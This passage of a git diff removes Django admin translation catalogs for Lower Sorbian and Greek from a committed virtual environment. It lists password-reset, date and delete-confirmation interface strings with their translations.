mógli pśeglědowaś, lěc " -"sći jo korektnje zapisał." - -msgid "New password:" -msgstr "Nowe gronidło:" - -msgid "Confirm password:" -msgstr "Gronidło wobkšuśiś:" - -msgid "" -"The password reset link was invalid, possibly because it has already been " -"used. Please request a new password reset." -msgstr "" -"Wótkaz za slědkstajenje gronidła jo njepłaśiwy był, snaź dokulaž jo se južo " -"wužył. Pšosym pšosćo wó nowe slědkstajenje gronidła." - -msgid "" -"We’ve emailed you instructions for setting your password, if an account " -"exists with the email you entered. You should receive them shortly." -msgstr "" -"Smy wam instrukcije za nastajenje wašogo gronidła pśez e-mail pósłali, jolic " -"konto ze zapódaneju e-mailoweju adresu eksistěrujo. Wy by dejał ju skóro " -"dostaś." - -msgid "" -"If you don’t receive an email, please make sure you’ve entered the address " -"you registered with, and check your spam folder." -msgstr "" -"Jolic mejlku njedostawaśo, pśeznańśo se, až sćo adresu zapódał, z kótarejuž " -"sćo zregistrěrował, a pśeglědajśo swój spamowy zarědnik." - -#, python-format -msgid "" -"You're receiving this email because you requested a password reset for your " -"user account at %(site_name)s." -msgstr "" -"Dostawaśo toś tu mejlku, dokulaž sćo za swójo wužywarske konto na " -"%(site_name)s wó slědkstajenje gronidła pšosył." - -msgid "Please go to the following page and choose a new password:" -msgstr "Pšosym źiśo k slědujucemu bokoju a wubjeŕśo nowe gronidło:" - -msgid "In case you’ve forgotten, you are:" -msgstr "Jolic sćo je zabył, sćo:" - -msgid "Thanks for using our site!" -msgstr "Wjeliki źěk za wužywanje našogo sedła!" - -#, python-format -msgid "The %(site_name)s team" -msgstr "Team %(site_name)s" - -msgid "" -"Forgotten your password? Enter your email address below, and we’ll email " -"instructions for setting a new one." -msgstr "" -"Sćo swójo gronidło zabył? Zapódajśo dołojce swóju e-mailowu adresu a " -"pósćelomy wam instrukcije za nastajenje nowego gronidła pśez e-mail." - -msgid "Email address:" -msgstr "E-mailowa adresa:" - -msgid "Reset my password" -msgstr "Mójo gronidło slědk stajiś" - -msgid "Select all objects on this page for an action" -msgstr "Wubjeŕśo wšykne objekty na toś tom boku za akciju" - -msgid "All dates" -msgstr "Wšykne daty" - -#, python-format -msgid "Select %s" -msgstr "%s wubraś" - -#, python-format -msgid "Select %s to change" -msgstr "%s wubraś, aby se změniło" - -#, python-format -msgid "Select %s to view" -msgstr "%s wubraś, kótaryž ma se pokazaś" - -msgid "Date:" -msgstr "Datum:" - -msgid "Time:" -msgstr "Cas:" - -msgid "Lookup" -msgstr "Pytanje" - -msgid "Currently:" -msgstr "Tuchylu:" - -msgid "Change:" -msgstr "Změniś:" diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/dsb/LC_MESSAGES/djangojs.mo b/backend/venv/Lib/site-packages/django/contrib/admin/locale/dsb/LC_MESSAGES/djangojs.mo deleted file mode 100644 index f0fccf66..00000000 Binary files a/backend/venv/Lib/site-packages/django/contrib/admin/locale/dsb/LC_MESSAGES/djangojs.mo and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/dsb/LC_MESSAGES/djangojs.po b/backend/venv/Lib/site-packages/django/contrib/admin/locale/dsb/LC_MESSAGES/djangojs.po deleted file mode 100644 index 2598939d..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/locale/dsb/LC_MESSAGES/djangojs.po +++ /dev/null @@ -1,323 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# Translators: -# Michael Wolf , 2016,2020-2023,2025 -msgid "" -msgstr "" -"Project-Id-Version: django\n" -"Report-Msgid-Bugs-To: \n" -"POT-Creation-Date: 2025-03-25 15:04-0500\n" -"PO-Revision-Date: 2025-04-01 15:04-0500\n" -"Last-Translator: Michael Wolf , 2016,2020-2023,2025\n" -"Language-Team: Lower Sorbian (http://app.transifex.com/django/django/" -"language/dsb/)\n" -"MIME-Version: 1.0\n" -"Content-Type: text/plain; charset=UTF-8\n" -"Content-Transfer-Encoding: 8bit\n" -"Language: dsb\n" -"Plural-Forms: nplurals=4; plural=(n%100==1 ? 0 : n%100==2 ? 1 : n%100==3 || " -"n%100==4 ? 2 : 3);\n" - -#, javascript-format -msgid "Available %s" -msgstr "K dispoziciji stojece %s" - -#, javascript-format -msgid "" -"Choose %s by selecting them and then select the \"Choose\" arrow button." -msgstr "Wubjeŕśo je, aby %s markěrował a wubjeŕśo pón šypowy tłocašk „Wubraś“." - -#, javascript-format -msgid "Type into this box to filter down the list of available %s." -msgstr "" -"Zapišćo do toś togo póla, aby zapiski z lisćiny k dispoziciji stojecych %s " -"wufiltrował. " - -msgid "Filter" -msgstr "Filtrowaś" - -#, javascript-format -msgid "Choose all %s" -msgstr "Wšykne %swubraś " - -#, javascript-format -msgid "Choose selected %s" -msgstr "Markěrujśo wubrane %s" - -#, javascript-format -msgid "Remove selected %s" -msgstr "" - -#, javascript-format -msgid "Chosen %s" -msgstr "Wubrane %s" - -#, javascript-format -msgid "" -"Remove %s by selecting them and then select the \"Remove\" arrow button." -msgstr "" -"Wubjeŕśo je, aby %s wótwónoźeł a wubjeŕśo pón šypowy tłocašk „Wótwónoźeś“." - -#, javascript-format -msgid "Type into this box to filter down the list of selected %s." -msgstr "" -"Zapišćo do toś togo póla, aby zapiski z lisćiny wubranych %s wufiltrował. " - -msgid "(click to clear)" -msgstr "(klikniśo, aby lašował)" - -#, javascript-format -msgid "Remove all %s" -msgstr "Wšykne %s wótwónoźeś" - -#, javascript-format -msgid "%s selected option not visible" -msgid_plural "%s selected options not visible" -msgstr[0] "%s wubrane nastajenje njewidobne" -msgstr[1] "%s wubranej nastajeni njewidobnej" -msgstr[2] "%s wubrane nastajenja njewidobne" -msgstr[3] "%s wubranych nastajenjow njewidobne" - -msgid "%(sel)s of %(cnt)s selected" -msgid_plural "%(sel)s of %(cnt)s selected" -msgstr[0] "%(sel)s z %(cnt)s wubrany" -msgstr[1] "%(sel)s z %(cnt)s wubranej" -msgstr[2] "%(sel)s z %(cnt)s wubrane" -msgstr[3] "%(sel)s z %(cnt)s wubranych" - -msgid "" -"You have unsaved changes on individual editable fields. If you run an " -"action, your unsaved changes will be lost." -msgstr "" -"Maśo njeskładowane změny za jadnotliwe wobźěłujobne póla. Jolic akciju " -"wuwjeźośo, se waše njeskładowane změny zgubiju." - -msgid "" -"You have selected an action, but you haven’t saved your changes to " -"individual fields yet. Please click OK to save. You’ll need to re-run the " -"action." -msgstr "" -"Sćo akciju wubrał, ale njejsćo hyšći swóje změny za jadnotliwe póla " -"składował, Pšosym klikniśo na W pórěźe, aby składował. Musyśo akciju znowego " -"wuwjasć." - -msgid "" -"You have selected an action, and you haven’t made any changes on individual " -"fields. You’re probably looking for the Go button rather than the Save " -"button." -msgstr "" -"Sćo akciju wubrał, ale njejsćo jadnotliwe póla změnił. Nejskerjej pytaśo " -"skerjej za tłocaškom Start ako za tłocaškom Składowaś." - -msgid "Now" -msgstr "Něnto" - -msgid "Midnight" -msgstr "Połnoc" - -msgid "6 a.m." -msgstr "6:00 góź. dopołdnja" - -msgid "Noon" -msgstr "Połdnjo" - -msgid "6 p.m." -msgstr "6:00 wótpołdnja" - -#, javascript-format -msgid "Note: You are %s hour ahead of server time." -msgid_plural "Note: You are %s hours ahead of server time." -msgstr[0] "Glědajśo: Waš cas jo wó %s góźinu pśéd serwerowym casom." -msgstr[1] "Glědajśo: Waš cas jo wó %s góźinje pśéd serwerowym casom." -msgstr[2] "Glědajśo: Waš cas jo wó %s góźiny pśéd serwerowym casom." -msgstr[3] "Glědajśo: Waš cas jo wó %s góźin pśéd serwerowym casom." - -#, javascript-format -msgid "Note: You are %s hour behind server time." -msgid_plural "Note: You are %s hours behind server time." -msgstr[0] "Glědajśo: Waš cas jo wó %s góźinu za serwerowym casom." -msgstr[1] "Glědajśo: Waš cas jo wó %s góźinje za serwerowym casom." -msgstr[2] "Glědajśo: Waš cas jo wó %s góźiny za serwerowym casom." -msgstr[3] "Glědajśo: Waš cas jo wó %s góźin za serwerowym casom." - -msgid "Choose a Time" -msgstr "Wubjeŕśo cas" - -msgid "Choose a time" -msgstr "Wubjeŕśo cas" - -msgid "Cancel" -msgstr "Pśetergnuś" - -msgid "Today" -msgstr "Źinsa" - -msgid "Choose a Date" -msgstr "Wubjeŕśo datum" - -msgid "Yesterday" -msgstr "Cora" - -msgid "Tomorrow" -msgstr "Witśe" - -msgid "January" -msgstr "Januar" - -msgid "February" -msgstr "Februar" - -msgid "March" -msgstr "Měrc" - -msgid "April" -msgstr "Apryl" - -msgid "May" -msgstr "Maj" - -msgid "June" -msgstr "Junij" - -msgid "July" -msgstr "Julij" - -msgid "August" -msgstr "Awgust" - -msgid "September" -msgstr "September" - -msgid "October" -msgstr "Oktober" - -msgid "November" -msgstr "Nowember" - -msgid "December" -msgstr "December" - -msgctxt "abbrev. month January" -msgid "Jan" -msgstr "Jan." - -msgctxt "abbrev. month February" -msgid "Feb" -msgstr "Feb." - -msgctxt "abbrev. month March" -msgid "Mar" -msgstr "Měr." - -msgctxt "abbrev. month April" -msgid "Apr" -msgstr "Apr." - -msgctxt "abbrev. month May" -msgid "May" -msgstr "Maj" - -msgctxt "abbrev. month June" -msgid "Jun" -msgstr "Jun." - -msgctxt "abbrev. month July" -msgid "Jul" -msgstr "Jul." - -msgctxt "abbrev. month August" -msgid "Aug" -msgstr "Awg." - -msgctxt "abbrev. month September" -msgid "Sep" -msgstr "Sep." - -msgctxt "abbrev. month October" -msgid "Oct" -msgstr "Okt." - -msgctxt "abbrev. month November" -msgid "Nov" -msgstr "Now." - -msgctxt "abbrev. month December" -msgid "Dec" -msgstr "Dec." - -msgid "Sunday" -msgstr "Njeźela" - -msgid "Monday" -msgstr "Pónjeźele" - -msgid "Tuesday" -msgstr "Wałtora" - -msgid "Wednesday" -msgstr "Srjoda" - -msgid "Thursday" -msgstr "Stwórtk" - -msgid "Friday" -msgstr "Pětk" - -msgid "Saturday" -msgstr "Sobota" - -msgctxt "abbrev. day Sunday" -msgid "Sun" -msgstr "Nje" - -msgctxt "abbrev. day Monday" -msgid "Mon" -msgstr "Pón" - -msgctxt "abbrev. day Tuesday" -msgid "Tue" -msgstr "Wał" - -msgctxt "abbrev. day Wednesday" -msgid "Wed" -msgstr "Srj" - -msgctxt "abbrev. day Thursday" -msgid "Thur" -msgstr "Stw" - -msgctxt "abbrev. day Friday" -msgid "Fri" -msgstr "Pět" - -msgctxt "abbrev. day Saturday" -msgid "Sat" -msgstr "Sob" - -msgctxt "one letter Sunday" -msgid "S" -msgstr "Nj" - -msgctxt "one letter Monday" -msgid "M" -msgstr "Pó" - -msgctxt "one letter Tuesday" -msgid "T" -msgstr "Wa" - -msgctxt "one letter Wednesday" -msgid "W" -msgstr "Sr" - -msgctxt "one letter Thursday" -msgid "T" -msgstr "St" - -msgctxt "one letter Friday" -msgid "F" -msgstr "Pě" - -msgctxt "one letter Saturday" -msgid "S" -msgstr "So" diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/el/LC_MESSAGES/django.mo b/backend/venv/Lib/site-packages/django/contrib/admin/locale/el/LC_MESSAGES/django.mo deleted file mode 100644 index 79853c52..00000000 Binary files a/backend/venv/Lib/site-packages/django/contrib/admin/locale/el/LC_MESSAGES/django.mo and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/el/LC_MESSAGES/django.po b/backend/venv/Lib/site-packages/django/contrib/admin/locale/el/LC_MESSAGES/django.po deleted file mode 100644 index ec1dc945..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/locale/el/LC_MESSAGES/django.po +++ /dev/null @@ -1,737 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# Translators: -# Antonis Christofides , 2021 -# Dimitris Glezos , 2011 -# Giannis Meletakis , 2015 -# Jannis Leidel , 2011 -# Nick Mavrakis , 2016-2018,2021 -# Nick Mavrakis , 2016 -# Pãnoș , 2014 -# Pãnoș , 2014,2016,2019-2020 -# Yorgos Pagles , 2011-2012 -msgid "" -msgstr "" -"Project-Id-Version: django\n" -"Report-Msgid-Bugs-To: \n" -"POT-Creation-Date: 2021-01-15 09:00+0100\n" -"PO-Revision-Date: 2021-03-30 03:21+0000\n" -"Last-Translator: Antonis Christofides \n" -"Language-Team: Greek (http://www.transifex.com/django/django/language/el/)\n" -"MIME-Version: 1.0\n" -"Content-Type: text/plain; charset=UTF-8\n" -"Content-Transfer-Encoding: 8bit\n" -"Language: el\n" -"Plural-Forms: nplurals=2; plural=(n != 1);\n" - -#, python-format -msgid "Delete selected %(verbose_name_plural)s" -msgstr "%(verbose_name_plural)s: Διαγραφή επιλεγμένων" - -#, python-format -msgid "Successfully deleted %(count)d %(items)s." -msgstr "Επιτυχώς διεγράφησαν %(count)d %(items)s." - -#, python-format -msgid "Cannot delete %(name)s" -msgstr "Αδύνατη η διαγραφή του %(name)s" - -msgid "Are you sure?" -msgstr "Είστε σίγουρος;" - -msgid "Administration" -msgstr "Διαχείριση" - -msgid "All" -msgstr "Όλα" - -msgid "Yes" -msgstr "Ναι" - -msgid "No" -msgstr "Όχι" - -msgid "Unknown" -msgstr "Άγνωστο" - -msgid "Any date" -msgstr "Οποιαδήποτε ημερομηνία" - -msgid "Today" -msgstr "Σήμερα" - -msgid "Past 7 days" -msgstr "Τελευταίες 7 ημέρες" - -msgid "This month" -msgstr "Αυτό το μήνα" - -msgid "This year" -msgstr "Αυτό το χρόνο" - -msgid "No date" -msgstr "Καθόλου ημερομηνία" - -msgid "Has date" -msgstr "Έχει ημερομηνία" - -msgid "Empty" -msgstr "Χωρίς τιμή" - -msgid "Not empty" -msgstr "Με τιμή" - -#, python-format -msgid "" -"Please enter the correct %(username)s and password for a staff account. Note " -"that both fields may be case-sensitive." -msgstr "" -"Παρακαλώ δώστε το σωστό %(username)s και συνθηματικό για λογαριασμό " -"προσωπικού. Και στα δύο πεδία μπορεί να έχει σημασία η διάκριση κεφαλαίων/" -"μικρών." - -msgid "Action:" -msgstr "Ενέργεια:" - -#, python-format -msgid "Add another %(verbose_name)s" -msgstr "Να προστεθεί %(verbose_name)s" - -msgid "Remove" -msgstr "Αφαίρεση" - -msgid "Addition" -msgstr "Προσθήκη" - -msgid "Change" -msgstr "Αλλαγή" - -msgid "Deletion" -msgstr "Διαγραφή" - -msgid "action time" -msgstr "ώρα ενέργειας" - -msgid "user" -msgstr "χρήστης" - -msgid "content type" -msgstr "τύπος περιεχομένου" - -msgid "object id" -msgstr "ταυτότητα αντικειμένου" - -#. Translators: 'repr' means representation -#. (https://docs.python.org/library/functions.html#repr) -msgid "object repr" -msgstr "αναπαράσταση αντικειμένου" - -msgid "action flag" -msgstr "σημαία ενέργειας" - -msgid "change message" -msgstr "μήνυμα τροποποίησης" - -msgid "log entry" -msgstr "καταχώριση αρχείου καταγραφής" - -msgid "log entries" -msgstr "καταχωρίσεις αρχείου καταγραφής" - -#, python-format -msgid "Added “%(object)s”." -msgstr "Προστέθηκε «%(object)s»." - -#, python-format -msgid "Changed “%(object)s” — %(changes)s" -msgstr "Τροποποιήθηκε «%(object)s» — %(changes)s" - -#, python-format -msgid "Deleted “%(object)s.”" -msgstr "Διαγράφηκε «%(object)s»." - -msgid "LogEntry Object" -msgstr "Αντικείμενο LogEntry" - -#, python-brace-format -msgid "Added {name} “{object}”." -msgstr "Προστέθηκε {name} “{object}”." - -msgid "Added." -msgstr "Προστέθηκε." - -msgid "and" -msgstr "και" - -#, python-brace-format -msgid "Changed {fields} for {name} “{object}”." -msgstr "{name} «{object}»: Αλλαγή {fields}." - -#, python-brace-format -msgid "Changed {fields}." -msgstr "Αλλαγή {fields}." - -#, python-brace-format -msgid "Deleted {name} “{object}”." -msgstr "Διεγράφη {name} «{object}»." - -msgid "No fields changed." -msgstr "Δεν άλλαξε κανένα πεδίο." - -msgid "None" -msgstr "Κανένα" - -msgid "Hold down “Control”, or “Command” on a Mac, to select more than one." -msgstr "" -"Κρατήστε πατημένο το «Control» («Command» σε Mac) για να επιλέξετε " -"περισσότερα από ένα αντικείμενα." - -#, python-brace-format -msgid "The {name} “{obj}” was added successfully." -msgstr "Προστέθηκε {name} «{obj}»." - -msgid "You may edit it again below." -msgstr "Μπορεί να πραγματοποιηθεί περαιτέρω επεξεργασία παρακάτω." - -#, python-brace-format -msgid "" -"The {name} “{obj}” was added successfully. You may add another {name} below." -msgstr "" -"Προστέθηκε {name} «{obj}». Μπορεί να πραγματοποιηθεί νέα πρόσθεση παρακάτω." - -#, python-brace-format -msgid "" -"The {name} “{obj}” was changed successfully. You may edit it again below." -msgstr "" -"Το αντικείμενο ({name}) «{obj}» τροποποιήθηκε. Μπορεί να πραγματοποιηθεί " -"περαιτέρω επεξεργασία παρακάτω." - -#, python-brace-format -msgid "The {name} “{obj}” was added successfully. You may edit it again below." -msgstr "" -"Προστέθηκε {name} «{obj}». Μπορεί να πραγματοποιηθεί περαιτέρω επεξεργασία " -"παρακάτω." - -#, python-brace-format -msgid "" -"The {name} “{obj}” was changed successfully. You may add another {name} " -"below." -msgstr "" -"Το αντικείμενο ({name}) «{obj}» τροποποιήθηκε. Μπορεί να προστεθεί επιπλέον " -"{name} παρακάτω." - -#, python-brace-format -msgid "The {name} “{obj}” was changed successfully." -msgstr "Το αντικείμενο ({name}) «{obj}» τροποποιήθηκε." - -msgid "" -"Items must be selected in order to perform actions on them. No items have " -"been changed." -msgstr "" -"Καμία αλλαγή δεν πραγματοποιήθηκε γιατί δεν έχετε επιλέξει αντικείμενο. " -"Επιλέξτε ένα ή περισσότερα αντικείμενα για να πραγματοποιήσετε ενέργειες σ' " -"αυτά." - -msgid "No action selected." -msgstr "Δεν έχει επιλεγεί ενέργεια." - -#, python-format -msgid "The %(name)s “%(obj)s” was deleted successfully." -msgstr "Διεγράφη το αντικείμενο (%(name)s) «%(obj)s»" - -#, python-format -msgid "%(name)s with ID “%(key)s” doesn’t exist. Perhaps it was deleted?" -msgstr "Δεν υπάρχει %(name)s με ID «%(key)s». Ίσως να έχει διαγραφεί." - -#, python-format -msgid "Add %s" -msgstr "Να προστεθεί %s" - -#, python-format -msgid "Change %s" -msgstr "%s: Τροποποίηση" - -#, python-format -msgid "View %s" -msgstr "%s: Προβολή" - -msgid "Database error" -msgstr "Σφάλμα στη βάση δεδομένων" - -#, python-format -msgid "%(count)s %(name)s was changed successfully." -msgid_plural "%(count)s %(name)s were changed successfully." -msgstr[0] "%(count)s %(name)s άλλαξε επιτυχώς." -msgstr[1] "%(count)s %(name)s άλλαξαν επιτυχώς." - -#, python-format -msgid "%(total_count)s selected" -msgid_plural "All %(total_count)s selected" -msgstr[0] "Επιλέχθηκε %(total_count)s" -msgstr[1] "Επιλέχθηκαν και τα %(total_count)s" - -#, python-format -msgid "0 of %(cnt)s selected" -msgstr "Επιλέχθηκαν 0 από %(cnt)s" - -#, python-format -msgid "Change history: %s" -msgstr "Ιστορικό αλλαγών: %s" - -#. Translators: Model verbose name and instance representation, -#. suitable to be an item in a list. -#, python-format -msgid "%(class_name)s %(instance)s" -msgstr "%(class_name)s %(instance)s" - -#, python-format -msgid "" -"Deleting %(class_name)s %(instance)s would require deleting the following " -"protected related objects: %(related_objects)s" -msgstr "" -"Η διαγραφή του αντικειμένου (%(class_name)s) %(instance)s θα απαιτούσε τη " -"διαγραφή των παρακάτω προστατευόμενων συσχετισμένων αντικειμένων: " -"%(related_objects)s" - -msgid "Django site admin" -msgstr "Ιστότοπος διαχείρισης Django" - -msgid "Django administration" -msgstr "Διαχείριση Django" - -msgid "Site administration" -msgstr "Διαχείριση του ιστότοπου" - -msgid "Log in" -msgstr "Σύνδεση" - -#, python-format -msgid "%(app)s administration" -msgstr "Διαχείριση %(app)s" - -msgid "Page not found" -msgstr "Η σελίδα δεν βρέθηκε" - -msgid "We’re sorry, but the requested page could not be found." -msgstr "Λυπούμαστε, αλλά η σελίδα που ζητήθηκε δεν βρέθηκε." - -msgid "Home" -msgstr "Αρχική" - -msgid "Server error" -msgstr "Σφάλμα στο server" - -msgid "Server error (500)" -msgstr "Σφάλμα στο server (500)" - -msgid "Server Error (500)" -msgstr "Σφάλμα στο server (500)" - -msgid "" -"There’s been an error. It’s been reported to the site administrators via " -"email and should be fixed shortly. Thanks for your patience." -msgstr "" -"Παρουσιάστηκε σφάλμα. Εστάλη στους διαχειριστές με email και πιθανότατα θα " -"διορθωθεί σύντομα. Ευχαριστούμε για την υπομονή σας." - -msgid "Run the selected action" -msgstr "Εκτέλεση της επιλεγμένης ενέργειας" - -msgid "Go" -msgstr "Μετάβαση" - -msgid "Click here to select the objects across all pages" -msgstr "Κάντε κλικ εδώ για να επιλέξετε τα αντικείμενα σε όλες τις σελίδες" - -#, python-format -msgid "Select all %(total_count)s %(module_name)s" -msgstr "Επιλέξτε και τα %(total_count)s αντικείμενα (%(module_name)s)" - -msgid "Clear selection" -msgstr "Καθαρισμός επιλογής" - -#, python-format -msgid "Models in the %(name)s application" -msgstr "Μοντέλα στην εφαρμογή %(name)s" - -msgid "Add" -msgstr "Προσθήκη" - -msgid "View" -msgstr "Προβολή" - -msgid "You don’t have permission to view or edit anything." -msgstr "Δεν έχετε δικαίωμα να δείτε ή να επεξεργαστείτε κάτι." - -msgid "" -"First, enter a username and password. Then, you’ll be able to edit more user " -"options." -msgstr "" -"Καταρχήν προσδιορίστε όνομα χρήστη και συνθηματικό. Κατόπιν θα σας δοθεί η " -"δυνατότητα να εισαγάγετε περισσότερες πληροφορίες για το χρήστη." - -msgid "Enter a username and password." -msgstr "Προσδιορίστε όνομα χρήστη και συνθηματικό." - -msgid "Change password" -msgstr "Αλλαγή συνθηματικού" - -msgid "Please correct the error below." -msgstr "Παρακαλούμε διορθώστε το παρακάτω λάθος." - -msgid "Please correct the errors below." -msgstr "Παρακαλοϋμε διορθώστε τα παρακάτω λάθη." - -#, python-format -msgid "Enter a new password for the user %(username)s." -msgstr "" -"Προσδιορίστε νέο συνθηματικό για το χρήστη %(username)s." - -msgid "Welcome," -msgstr "Καλώς ήρθατε," - -msgid "View site" -msgstr "Μετάβαση στην εφαρμογή" - -msgid "Documentation" -msgstr "Τεκμηρίωση" - -msgid "Log out" -msgstr "Αποσύνδεση" - -#, python-format -msgid "Add %(name)s" -msgstr "%(name)s: προσθήκη" - -msgid "History" -msgstr "Ιστορικό" - -msgid "View on site" -msgstr "Προβολή στον ιστότοπο" - -msgid "Filter" -msgstr "Φίλτρο" - -msgid "Clear all filters" -msgstr "Καθαρισμός όλων των φίλτρων" - -msgid "Remove from sorting" -msgstr "Αφαίρεση από την ταξινόμηση" - -#, python-format -msgid "Sorting priority: %(priority_number)s" -msgstr "Προτεραιότητα ταξινόμησης: %(priority_number)s" - -msgid "Toggle sorting" -msgstr "Εναλλαγή ταξινόμησης" - -msgid "Delete" -msgstr "Διαγραφή" - -#, python-format -msgid "" -"Deleting the %(object_name)s '%(escaped_object)s' would result in deleting " -"related objects, but your account doesn't have permission to delete the " -"following types of objects:" -msgstr "" -"Επιλέξατε τη διαγραφή του αντικειμένου '%(escaped_object)s' τύπου " -"%(object_name)s. Αυτό συνεπάγεται τη διαγραφή συσχετισμένων αντικειμενων για " -"τα οποία δεν έχετε δικάιωμα διαγραφής. Οι τύποι των αντικειμένων αυτών είναι:" - -#, python-format -msgid "" -"Deleting the %(object_name)s '%(escaped_object)s' would require deleting the " -"following protected related objects:" -msgstr "" -"Η διαγραφή του αντικειμένου (%(object_name)s) «%(escaped_object)s» απαιτεί " -"τη διαγραφή των παρακάτω προστατευόμενων αντικειμένων:" - -#, python-format -msgid "" -"Are you sure you want to delete the %(object_name)s \"%(escaped_object)s\"? " -"All of the following related items will be deleted:" -msgstr "" -"Επιβεβαιώστε ότι επιθυμείτε τη διαγραφή των επιλεγμένων αντικειμένων " -"(%(object_name)s \"%(escaped_object)s\"). Αν προχωρήσετε με τη διαγραφή, όλα " -"τα παρακάτω συσχετισμένα αντικείμενα θα διαγραφούν επίσης:" - -msgid "Objects" -msgstr "Αντικείμενα" - -msgid "Yes, I’m sure" -msgstr "Ναι" - -msgid "No, take me back" -msgstr "Όχι" - -msgid "Delete multiple objects" -msgstr "Διαγραφή πολλαπλών αντικειμένων" - -#, python-format -msgid "" -"Deleting the selected %(objects_name)s would result in deleting related " -"objects, but your account doesn't have permission to delete the following " -"types of objects:" -msgstr "" -"Η διαγραφή των επιλεγμένων αντικειμένων τύπου «%(objects_name)s» θα είχε " -"αποτέλεσμα τη διαγραφή των ακόλουθων συσχετισμένων αντικειμένων για τα οποία " -"δεν έχετε το διακαίωμα διαγραφής:" - -#, python-format -msgid "" -"Deleting the selected %(objects_name)s would require deleting the following " -"protected related objects:" -msgstr "" -"Η διαγραφή των επιλεγμένων αντικειμένων τύπου «%(objects_name)s» απαιτεί τη " -"διαγραφή των παρακάτω προστατευμένων συσχετισμένων αντικειμένων:" - -#, python-format -msgid "" -"Are you sure you want to delete the selected %(objects_name)s? All of the " -"following objects and their related items will be deleted:" -msgstr "" -"Επιβεβαιώστε ότι επιθυμείτε τη διαγραφή των επιλεγμένων αντικειμένων τύπου " -"«%(objects_name)s». Αν προχωρήσετε με τη διαγραφή, όλα τα παρακάτω " -"συσχετισμένα αντικείμενα θα διαγραφούν επίσης:" - -msgid "Delete?" -msgstr "Διαγραφή;" - -#, python-format -msgid " By %(filter_title)s " -msgstr " Ανά %(filter_title)s " - -msgid "Summary" -msgstr "Περίληψη" - -msgid "Recent actions" -msgstr "Πρόσφατες ενέργειες" - -msgid "My actions" -msgstr "Οι ενέργειές μου" - -msgid "None available" -msgstr "Κανένα διαθέσιμο" - -msgid "Unknown content" -msgstr "Άγνωστο περιεχόμενο" - -msgid "" -"Something’s wrong with your database installation. Make sure the appropriate " -"database tables have been created, and make sure the database is readable by " -"the appropriate user." -msgstr "" -"Υπάρχει κάποιο πρόβλημα στη βάση δεδομένων. Βεβαιωθείτε πως οι κατάλληλοι " -"πίνακες έχουν δημιουργηθεί και πως υπάρχουν τα κατάλληλα δικαιώματα " -"πρόσβασης." - -#, python-format -msgid "" -"You are authenticated as %(username)s, but are not authorized to access this " -"page. Would you like to login to a different account?" -msgstr "" -"Έχετε ταυτοποιηθεί ως %(username)s, αλλά δεν έχετε δικαίωμα πρόσβασης σ' " -"αυτή τη σελίδα. Θέλετε να συνδεθείτε με άλλο λογαριασμό;" - -msgid "Forgotten your password or username?" -msgstr "Ξεχάσατε το συνθηματικό ή το όνομα χρήστη σας;" - -msgid "Toggle navigation" -msgstr "Εναλλαγή προβολής πλοήγησης" - -msgid "Date/time" -msgstr "Ημερομηνία/ώρα" - -msgid "User" -msgstr "Χρήστης" - -msgid "Action" -msgstr "Ενέργεια" - -msgid "" -"This object doesn’t have a change history. It probably wasn’t added via this " -"admin site." -msgstr "" -"Αυτό το αντικείμενο δεν έχει ιστορικό αλλαγών. Πιθανότατα δεν προστέθηκε " -"μέσω του παρόντος διαχειριστικού ιστότοπου." - -msgid "Show all" -msgstr "Εμφάνιση όλων" - -msgid "Save" -msgstr "Αποθήκευση" - -msgid "Popup closing…" -msgstr "Κλείσιμο popup..." - -msgid "Search" -msgstr "Αναζήτηση" - -#, python-format -msgid "%(counter)s result" -msgid_plural "%(counter)s results" -msgstr[0] "%(counter)s αποτέλεσμα" -msgstr[1] "%(counter)s αποτελέσματα" - -#, python-format -msgid "%(full_result_count)s total" -msgstr "%(full_result_count)s συνολικά" - -msgid "Save as new" -msgstr "Αποθήκευση ως νέου" - -msgid "Save and add another" -msgstr "Αποθήκευση και προσθήκη καινούργιου" - -msgid "Save and continue editing" -msgstr "Αποθήκευση και συνέχεια επεξεργασίας" - -msgid "Save and view" -msgstr "Αποθήκευση και προβολή" - -msgid "Close" -msgstr "Κλείσιμο" - -#, python-format -msgid "Change selected %(model)s" -msgstr "Να τροποποιηθεί το επιλεγμένο αντικείμενο (%(model)s)" - -#, python-format -msgid "Add another %(model)s" -msgstr "Να προστεθεί %(model)s" - -#, python-format -msgid "Delete selected %(model)s" -msgstr "Να διαγραφεί το επιλεγμένο αντικείμενο (%(model)s)" - -msgid "Thanks for spending some quality time with the Web site today." -msgstr "Ευχαριστούμε που διαθέσατε χρόνο στον ιστότοπο." - -msgid "Log in again" -msgstr "Επανασύνδεση" - -msgid "Password change" -msgstr "Αλλαγή συνθηματικού" - -msgid "Your password was changed." -msgstr "Το συνθηματικό σας αλλάχθηκε." - -msgid "" -"Please enter your old password, for security’s sake, and then enter your new " -"password twice so we can verify you typed it in correctly." -msgstr "" -"Δώστε το παλιό σας συνθηματικό και ακολούθως το νέο σας συνθηματικό δύο " -"φορές ώστε να ελέγξουμε ότι το πληκτρολογήσατε σωστά." - -msgid "Change my password" -msgstr "Αλλαγή του συνθηματικού μου" - -msgid "Password reset" -msgstr "Επαναφορά συνθηματικού" - -msgid "Your password has been set. You may go ahead and log in now." -msgstr "Το συνθηματικό σας ορίστηκε. Μπορείτε τώρα να συνδεθείτε." - -msgid "Password reset confirmation" -msgstr "Επιβεβαίωση επαναφοράς συνθηματικού" - -msgid "" -"Please enter your new password twice so we can verify you typed it in " -"correctly." -msgstr "" -"Δώστε το νέο συνθηματικό σας δύο φορές ώστε να ελέγξουμε ότι το " -"πληκτρολογήσατε σωστά." - -msgid "New password:" -msgstr "Νέο συνθηματικό:" - -msgid "Confirm password:" -msgstr "Επιβεβαίωση συνθηματικού:" - -msgid "" -"The password reset link was invalid, possibly because it has already been " -"used. Please request a new password reset." -msgstr "" -"Ο σύνδεσμος που χρησιμοποιήσατε για την επαναφορά του συνθηματικού δεν είναι " -"σωστός, ίσως γιατί έχει ήδη χρησιμοποιηθεί. Πραγματοποιήστε εξαρχής τη " -"διαδικασία αίτησης επαναφοράς του συνθηματικού." - -msgid "" -"We’ve emailed you instructions for setting your password, if an account " -"exists with the email you 